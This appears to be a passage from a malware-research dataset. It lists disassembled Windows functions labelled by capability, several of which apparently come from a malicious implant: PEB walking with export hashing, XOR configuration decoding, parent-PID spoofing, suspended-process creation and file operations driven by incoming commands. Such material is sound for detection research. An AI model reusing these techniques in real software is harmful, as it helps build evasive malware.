joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005440]
mov dword [rax], 1
mov rax, qword [0x140005450]
mov dword [rax], 1
mov rax, qword [0x140005460]
mov dword [rax], 1
mov rax, qword [0x140005400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d1
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400014fd
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001523
cmp eax, 0x20b
je 0x14000154a
jmp 0x140001579
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001536
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157e
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001565
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157e
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140002450
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140003102
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140011d88]
test eax, eax
je 0x14000319a
lea rax, [0x140011d60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140011d90]
mov qword [rbp - 8], rax
jmp 0x14000317e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140003172
cmp qword [rbp - 0x10], 0
je 0x140003172
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003138
lea rax, [0x140011d60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000319b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400032a0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400032c8
mov eax, 0
jmp 0x140003316
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400032f1
mov eax, 0
jmp 0x140003316
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003311
mov eax, 0
jmp 0x140003316
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000331c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000339a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003391
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003391
mov rax, qword [rbp - 8]
jmp 0x1400033af
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003364
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r12
sub rsp, 0x20
cmp dword [0x14005e1a0], 0
jne 0x1400011fe
mov rax, qword gs:[0x60]
xor r12d, r12d
mov edx, r12d
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000120a
nop word [rax + rax]
mov r11, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14000107d
lea rdx, [r11 + rcx]
mov ecx, dword [r11 + rcx + 0xc]
mov eax, dword [rcx + r11]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000107d
mov eax, dword [rcx + r11 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140001089
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140001040
test rdx, rdx
je 0x14000120a
mov qword [rsp + 0x30], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x38], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x40], rsi
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x18], rdi
add rsi, r11
mov qword [rsp + 0x10], r13
mov r13d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
mov edx, r12d
add r14, r11
mov qword [rsp], r15
add rbp, r11
lea r15, [0x14005e1a0]
nop word [rax + rax]
lea eax, [rbx - 1]
mov r10d, dword [rsi + rax*4]
mov ebx, eax
add r10, r11
mov edi, eax
cmp word [r10], r13w
jne 0x140001143
mov r9d, r12d
mov r8d, 0xb1c4be5f
mov rax, r10
movzx eax, word [rax]
mov ecx, r8d
ror ecx, 8
inc r9d
add ecx, eax
mov eax, r9d
add rax, r10
xor r8d, ecx
cmp byte [rax], r12b
jne 0x140001100
mov ecx, edx
inc edx
add rcx, rcx
mov dword [r15 + rcx*8 + 8], r8d
movzx eax, word [rbp + rdi*2]
mov eax, dword [r14 + rax*4]
mov dword [r15 + rcx*8 + 0xc], eax
mov qword [r15 + rcx*8 + 0x10], r12
cmp edx, 0x258
je 0x140001147
test ebx, ebx
jne 0x1400010e0
mov r14, qword [rsp + 8]
lea eax, [rdx - 1]
mov r13, qword [rsp + 0x10]
mov r8d, r12d
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov dword [0x14005e1a0], edx
test eax, eax
je 0x1400011f0
nop
mov ecx, edx
mov eax, r12d
sub ecx, r8d
cmp ecx, 1
je 0x1400011e5
nop dword [rax]
lea r11d, [rax + 1]
mov r10d, eax
add r10, r10
mov r9d, r11d
add r9, r9
mov edi, dword [r15 + r10*8 + 0xc]
mov ebx, dword [r15 + r9*8 + 0xc]
cmp edi, ebx
jbe 0x1400011d6
mov edx, dword [r15 + r10*8 + 8]
mov eax, dword [r15 + r9*8 + 8]
mov rcx, qword [r15 + r10*8 + 0x10]
mov dword [r15 + r10*8 + 8], eax
mov rax, qword [r15 + r9*8 + 0x10]
mov qword [r15 + r10*8 + 0x10], rax
mov dword [r15 + r10*8 + 0xc], ebx
mov dword [r15 + r9*8 + 8], edx
mov dword [r15 + r9*8 + 0xc], edi
mov qword [r15 + r9*8 + 0x10], rcx
mov edx, dword [0x14005e1a0]
mov ecx, edx
mov eax, r11d
sub ecx, r8d
dec ecx
cmp r11d, ecx
jb 0x140001180
inc r8d
lea eax, [rdx - 1]
cmp r8d, eax
jb 0x140001170
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x20
pop r12
ret
xor eax, eax
add rsp, 0x20
pop r12
ret
Function at 0x1400023e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r12
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov r15, r8
mov ecx, 0x8000
mov rbp, rdx
call fcn.140028a64
mov r9, r14
lea r8, str._s
mov edx, 0x8000
mov rcx, rax
mov rbx, rax
call fcn.140001df0
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rbx
mov r12, rax
call fcn.140028a50
cmp r12, 0xffffffffffffffff
je 0x14000252d
mov qword [rsp + 0x50], rsi
lea rbx, [rbp + 0x2c]
mov qword [rsp + 0x58], rdi
test byte [rbp], 0x10
je 0x1400024fa
cmp byte [rbx], 0x2e
jne 0x14000247e
cmp byte [rbx + 1], 0
je 0x140002506
cmp byte [rbx], 0x2e
jne 0x14000247e
cmp byte [rbx + 1], 0x2e
jne 0x14000247e
cmp byte [rbx + 2], 0
je 0x140002506
mov ecx, 0x8000
call fcn.140028a64
mov r9, rbx
lea r8, [0x14004bcc8]
mov edx, 0x8000
mov rcx, rax
mov rsi, rax
call fcn.140001df0
mov ecx, 0x8000
call fcn.140028a64
mov r9, r14
mov qword [rsp + 0x20], rbx
lea r8, [0x14004bcb8]
mov edx, 0x8000
mov rcx, rax
mov rdi, rax
call fcn.140001df0
mov r8, r15
mov rdx, rbp
mov rcx, rdi
call fcn.1400023e0
mov rcx, rdi
call fcn.140028a50
mov r8d, 1
mov rdx, rsi
mov rcx, r14
call r15
mov rcx, rsi
call fcn.140028a50
jmp 0x140002506
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call r15
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002450
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x140002550
Capabilities:
Copy file

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x28], r14
mov r14, rcx
mov ecx, 0x18
mov qword [rsp + 0x20], r15
mov r15d, edx
call fcn.140028a64
xor esi, esi
mov rdi, rax
test rax, rax
jne 0x14000258d
mov edi, esi
jmp 0x1400025c9
mov ecx, 0x4000
call fcn.140028a64
mov rbx, rax
test rax, rax
jne 0x1400025a4
mov rdi, rsi
jmp 0x1400025c9
xor edx, edx
mov r8d, 0x4000
mov rcx, rbx
call fcn.140022720
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov dword [rdi + 0x10], 0x4000
mov dword [rdi + 0x14], 0x4000
mov ecx, dword [rdi + 0x10]
cmp ecx, 0x2000
jge 0x1400025d9
mov rbp, rsi
jmp 0x14000260f
mov rbp, qword [rdi + 8]
add ecx, 0xffffe000
mov dword [rdi + 0x10], ecx
lea rax, [rbp + 0x2000]
mov qword [rdi + 8], rax
cmp ecx, 0x2000
jl 0x14000260f
mov rsi, rax
add rax, 0x2000
mov qword [rdi + 8], rax
lea eax, [rcx - 0x2000]
mov dword [rdi + 0x10], eax
cmp r15d, 4
jb 0x140002693
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
lea ebx, [r15 - 4]
test eax, eax
je 0x140002655
cmp eax, 0x2000
jge 0x140002655
cmp ebx, eax
jl 0x140002655
mov rdx, r14
movsxd r15, eax
add r14, r15
sub ebx, eax
test rdx, rdx
je 0x140002655
mov r8, r15
mov rcx, rbp
call fcn.140022ae0
mov byte [r15 + rbp], 0
cmp ebx, 4
jb 0x140002693
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
sub ebx, 4
test eax, eax
je 0x140002693
cmp eax, 0x2000
jge 0x140002693
cmp ebx, eax
jl 0x140002693
test r14, r14
je 0x140002693
movsxd rbx, eax
mov rdx, r14
mov r8, rbx
mov rcx, rsi
call fcn.140022ae0
mov byte [rbx + rsi], 0
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
test eax, eax
jne 0x1400026d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0xd]
call fcn.140009c20
movsxd r8, dword [rdi + 0x14]
xor edx, edx
mov rcx, qword [rdi]
call fcn.140022720
mov rcx, qword [rdi]
call fcn.140028a50
mov rcx, rdi
call fcn.140028a50
add rsp, 0x30
pop rdi
ret
Function at 0x140002700
Capabilities:
Move file

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x28], r14
mov r14, rcx
mov ecx, 0x18
mov qword [rsp + 0x20], r15
mov r15d, edx
call fcn.140028a64
xor esi, esi
mov rdi, rax
test rax, rax
jne 0x14000273d
mov edi, esi
jmp 0x140002779
mov ecx, 0x4000
call fcn.140028a64
mov rbx, rax
test rax, rax
jne 0x140002754
mov rdi, rsi
jmp 0x140002779
xor edx, edx
mov r8d, 0x4000
mov rcx, rbx
call fcn.140022720
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov dword [rdi + 0x10], 0x4000
mov dword [rdi + 0x14], 0x4000
mov ecx, dword [rdi + 0x10]
cmp ecx, 0x2000
jge 0x140002789
mov rbp, rsi
jmp 0x1400027bf
mov rbp, qword [rdi + 8]
add ecx, 0xffffe000
mov dword [rdi + 0x10], ecx
lea rax, [rbp + 0x2000]
mov qword [rdi + 8], rax
cmp ecx, 0x2000
jl 0x1400027bf
mov rsi, rax
add rax, 0x2000
mov qword [rdi + 8], rax
lea eax, [rcx - 0x2000]
mov dword [rdi + 0x10], eax
cmp r15d, 4
jb 0x140002843
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
lea ebx, [r15 - 4]
test eax, eax
je 0x140002805
cmp eax, 0x2000
jge 0x140002805
cmp ebx, eax
jl 0x140002805
mov rdx, r14
movsxd r15, eax
add r14, r15
sub ebx, eax
test rdx, rdx
je 0x140002805
mov r8, r15
mov rcx, rbp
call fcn.140022ae0
mov byte [r15 + rbp], 0
cmp ebx, 4
jb 0x140002843
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
sub ebx, 4
test eax, eax
je 0x140002843
cmp eax, 0x2000
jge 0x140002843
cmp ebx, eax
jl 0x140002843
test r14, r14
je 0x140002843
movsxd rbx, eax
mov rdx, r14
mov r8, rbx
mov rcx, rsi
call fcn.140022ae0
mov byte [rbx + rsi], 0
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
test eax, eax
jne 0x140002883
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0xe]
call fcn.140009c20
movsxd r8, dword [rdi + 0x14]
xor edx, edx
mov rcx, qword [rdi]
call fcn.140022720
mov rcx, qword [rdi]
call fcn.140028a50
mov rcx, rdi
call fcn.140028a50
add rsp, 0x30
pop rdi
ret
Function at 0x1400028b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [0x140058040], 0
mov rbx, rdx
mov rdi, rcx
jne 0x1400028e0
mov ecx, 0x80004
call fcn.140028a64
mov qword [0x140058040], rax
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
mov rdx, qword [0x140058040]
mov dword [rdx], eax
movsxd rcx, dword [rdi + 4]
cmp rcx, rbx
cmovbe ebx, ecx
xor esi, esi
test ebx, ebx
je 0x140002935
mov r9, qword [rdi + 8]
lea eax, [rsi + 4]
movsxd rcx, eax
mov edx, 1
add rcx, qword [0x140058040]
movsxd r8, ebx
call fcn.1400294d4
test eax, eax
je 0x14000292e
sub dword [rdi + 4], eax
add esi, eax
sub ebx, eax
jne 0x140002901
jmp 0x140002935
mov dword [rdi + 4], 0
mov rcx, qword [0x140058040]
add esi, 4
cmp dword [0x14005c344], 1
jne 0x140002985
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x140002985
movsxd r8, dword [rax + 0x1c8]
test r8d, r8d
je 0x140002985
movsxd rdx, esi
cmp rdx, r8
mov r8d, 8
ja 0x140002979
lea r9d, [r8 - 7]
jmp 0x14000298f
mov rdx, rcx
mov ecx, esi
call fcn.140009a20
jmp 0x140002994
xor r9d, r9d
movsxd rdx, esi
lea r8d, [r9 + 8]
call fcn.140009930
cmp dword [rdi + 4], 0
jne 0x140002a0b
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
cmp dword [0x14005c344], 1
mov dword [rsp + 0x30], eax
jne 0x1400029ec
mov rax, qword [0x14005c350]
cmp word [rax + 0x1c0], 2
jne 0x1400029ec
mov ecx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400029ec
mov r8d, 9
cmp ecx, 4
jb 0x1400029db
lea r9d, [r8 - 8]
jmp 0x1400029f3
lea rdx, [rsp + 0x30]
mov ecx, 4
call fcn.140009a20
jmp 0x140002a02
xor r9d, r9d
lea r8d, [r9 + 9]
mov edx, 4
lea rcx, [rsp + 0x30]
call fcn.140009930
mov rcx, qword [rdi + 8]
call fcn.140028f78
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400030e0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov rcx, qword [0x140058f88]
test rcx, rcx
je 0x14000317d
cmp dword [rbx + 0x20], 0
jne 0x14000317d
mov rax, qword [rbx + 0x18]
xor r9d, r9d
mov r8, qword [rbx]
xor edx, edx
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x1400031de
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x14000315e
mov rcx, rbx
add rsp, 0x60
pop rbx
jmp fcn.140002d10
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, qword [rbx]
xor r8d, r8d
mov edx, eax
lea ecx, [r8 + 0x29]
call fcn.140009c20
xor eax, eax
add rsp, 0x60
pop rbx
ret
mov rax, qword [rbx + 0x18]
xor r9d, r9d
mov rdx, qword [rbx]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rbx + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400031de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, qword [rbx]
xor r8d, r8d
mov edx, eax
lea ecx, [r8 + 0x30]
call fcn.140009c20
xor eax, eax
add rsp, 0x60
pop rbx
ret
mov eax, 1
add rsp, 0x60
pop rbx
ret

Function at 0x1400031f0
Capabilities:
Create process on windows
Create process suspended
Get common file path
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rsi, rcx
jne 0x140003239
mov rbx, qword [0x14005c328]
mov rdi, qword [rcx]
test rbx, rbx
je 0x140003239
cmp dword [rbx], 1
jne 0x14000322d
lea rdx, [rbx + 4]
mov rcx, rdi
call fcn.140021f68
cmp rax, rdi
je 0x140003250
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x140003217
mov rcx, rsi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
jmp fcn.1400030e0
or dword [rsi + 0x20], 4
add rbx, 0x2004
mov rcx, rsi
mov qword [rsp + 0x20], rbx
mov qword [rsi], rbx
mov qword [rsp + 0x28], rdi
call fcn.1400030e0
mov rcx, qword [rsi + 0x18]
lea rdx, [rsp + 0x20]
mov ebx, eax
call fcn.1400077b0
mov rcx, qword [rsi + 0x18]
test eax, eax
jne 0x1400032a5
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400032d0
Capabilities:
Spoof parent pid

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rbp, r8
mov edi, edx
mov r8d, edx
mov r14, rcx
xor edx, edx
mov ecx, 0x1fffff
mov rsi, r9
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003322
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
lea ecx, [rbx + 0x22]
mov r8d, eax
mov edx, edi
call fcn.140009c20
xor eax, eax
jmp 0x14000343d
mov qword [rsp + 0x60], r15
mov r9, r14
xor r15d, r15d
mov qword [r14], rbx
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20000
mov rcx, rbp
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
jne 0x14000337f
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
lea ecx, [r15 + 0x47]
mov edx, eax
xor r8d, r8d
call fcn.140009c20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003438
mov rbp, qword [rsi + 0x58]
mov rdi, qword [rsi + 0x60]
test rbp, rbp
je 0x140003400
test rdi, rdi
je 0x1400033ce
cmp rbp, rdi
jne 0x1400033ce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x58]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x60], rcx
jmp 0x140003433
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x58]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdi, qword [rsi + 0x60]
test rdi, rdi
je 0x140003433
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x60]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 1
mov r15, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140004b40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x20
xor r15d, r15d
mov ecx, 0x800
mov qword [0x14005c338], r15
call fcn.140028a64
xor edx, edx
mov qword [0x14005c350], rax
mov r8d, 0x800
mov rcx, rax
call fcn.140022720
movdqa xmm2, xmmword [0x14004c570]
lea r12, str.nononlnfnlnonlfnmnlnjnne
mov eax, r15d
movdqu xmm0, xmmword [rax + r12]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + r12], xmm1
movdqu xmm0, xmmword [rax + r12 + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax + r12 + 0x10], xmm0
movdqu xmm0, xmmword [rax + r12 + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax + r12 + 0x20], xmm0
movdqu xmm0, xmmword [rax + r12 + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax + r12 + 0x30], xmm1
add rax, 0x40
cmp rax, 0x1000
jl 0x140004b90
movzx ecx, word [str.nononlnfnlnonlfnmnlnjnne]
lea rdi, [0x140052a62]
mov ebx, 0xffe
call qword [sym.imp.WS2_32.dll_ntohs]
movsx esi, ax
test esi, esi
jle 0x140004d53
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r14
cmp ebx, 2
jae 0x140004c27
movzx ebp, r15w
movzx r14d, r15w
jmp 0x140004c59
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
movzx ebp, ax
cmp ebx, 2
jae 0x140004c45
movzx r14d, r15w
jmp 0x140004c59
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
movzx r14d, ax
sub ebx, 2
mov rcx, qword [0x14005c350]
shl esi, 4
movsxd rsi, esi
movzx edx, bp
mov word [rsi + rcx], bp
sub edx, 1
je 0x140004cfc
sub edx, 1
je 0x140004ccb
cmp edx, 1
jne 0x140004d23
movzx ebp, r14w
mov ecx, ebp
call fcn.140028a64
mov r9, rax
movzx ecx, r14w
mov rax, qword [0x14005c350]
mov qword [rsi + rax + 8], r9
cmp ebx, ecx
jge 0x140004cb6
mov rdx, r15
mov r8d, ebp
mov rcx, r9
call fcn.140022ae0
jmp 0x140004d23
mov rdx, rdi
sub ebx, ecx
add rdi, rcx
mov r8, rbp
mov rcx, r9
call fcn.140022ae0
jmp 0x140004d23
cmp ebx, 4
jae 0x140004ce0
mov rcx, qword [0x14005c350]
mov eax, r15d
mov dword [rsi + rcx + 8], eax
jmp 0x140004d23
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [0x14005c350]
add rdi, 4
sub ebx, 4
mov dword [rsi + rcx + 8], eax
jmp 0x140004d23
cmp ebx, 2
jae 0x140004d07
movzx eax, r15w
jmp 0x140004d17
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
mov rcx, qword [0x14005c350]
mov word [rsi + rcx + 8], ax
cmp ebx, 2
jae 0x140004d2e
movzx eax, r15w
jmp 0x140004d3e
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
movsx esi, ax
test esi, esi
jg 0x140004c18
mov r14, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r12
pop rdi
jmp fcn.140022720
Function at 0x140004d80
Capabilities:
Create thread
Terminate process

Disassembly:
